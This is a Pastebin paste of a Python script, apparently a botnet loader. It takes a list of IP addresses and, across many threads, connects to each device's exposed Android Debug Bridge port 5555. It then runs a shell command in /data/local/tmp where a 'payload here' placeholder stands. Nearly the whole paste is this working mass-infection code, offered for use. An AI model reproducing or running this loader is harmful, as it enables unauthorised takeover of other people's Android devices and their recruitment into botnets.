miraip0ts

ADB

Aug 24th, 2019
722
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.25 KB | None | 0 0
  1. # how to install adb on ubuntu
  2. # apt-get install android-tools-adb android-tools-fastboot -y
  3. # Screen -S adb
  4. # adb start-server
  5. # python adb.py list
  6.  
  7. import sys
  8. import threading
  9. import requests
  10. import os
  11. import socket
  12. import time
  13. from Queue import *
  14. from threading import Thread
  15.  
  16. if len(sys.argv) < 2:
  17.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  18.  
  19. ips = open(sys.argv[1], "r").readlines()
  20. queue = Queue()
  21. queue_count = 0
  22.  
  23. info = open(str(sys.argv[1]),'a+')
  24.  
  25. def rtek(ip):
  26.     ip = str(ip).rstrip("\n")
  27.     try:
  28.         adb = socket.socket()
  29.         adb.settimeout(5)
  30.         adb.connect((ip,5555))
  31.         os.system("adb connect "+ip+":5555")
  32.         time.sleep(3);
  33.         os.system("adb -s "+ip+":5555 shell \"cd /data/local/tmp; payload here \"")
  34.         adb.close()
  35.     except Exception:
  36.         adb.close()
  37.         pass
  38.  
  39.  
  40. def main():
  41.     global queue_count
  42.     for line in ips:
  43.         line = line.strip("\r")
  44.         line = line.strip("\n")
  45.         queue_count += 1
  46.         sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  47.         sys.stdout.flush()
  48.         queue.put(line)
  49.     sys.stdout.write("\n")
  50.     i = 0
  51.     while i != queue_count:
  52.         i += 1
  53.         try:
  54.             input = queue.get()
  55.             thread = Thread(target=rtek, args=(input,))
  56.             thread.start()
  57.             time.sleep(0.1)
  58.         except KeyboardInterrupt:
  59.             os.kill(os.getpid(), 9)
  60.     thread.join()
  61.     return
  62.  
  63.  
  64. if __name__ == "__main__":
  65.     main()
Add Comment
Please, Sign In to add comment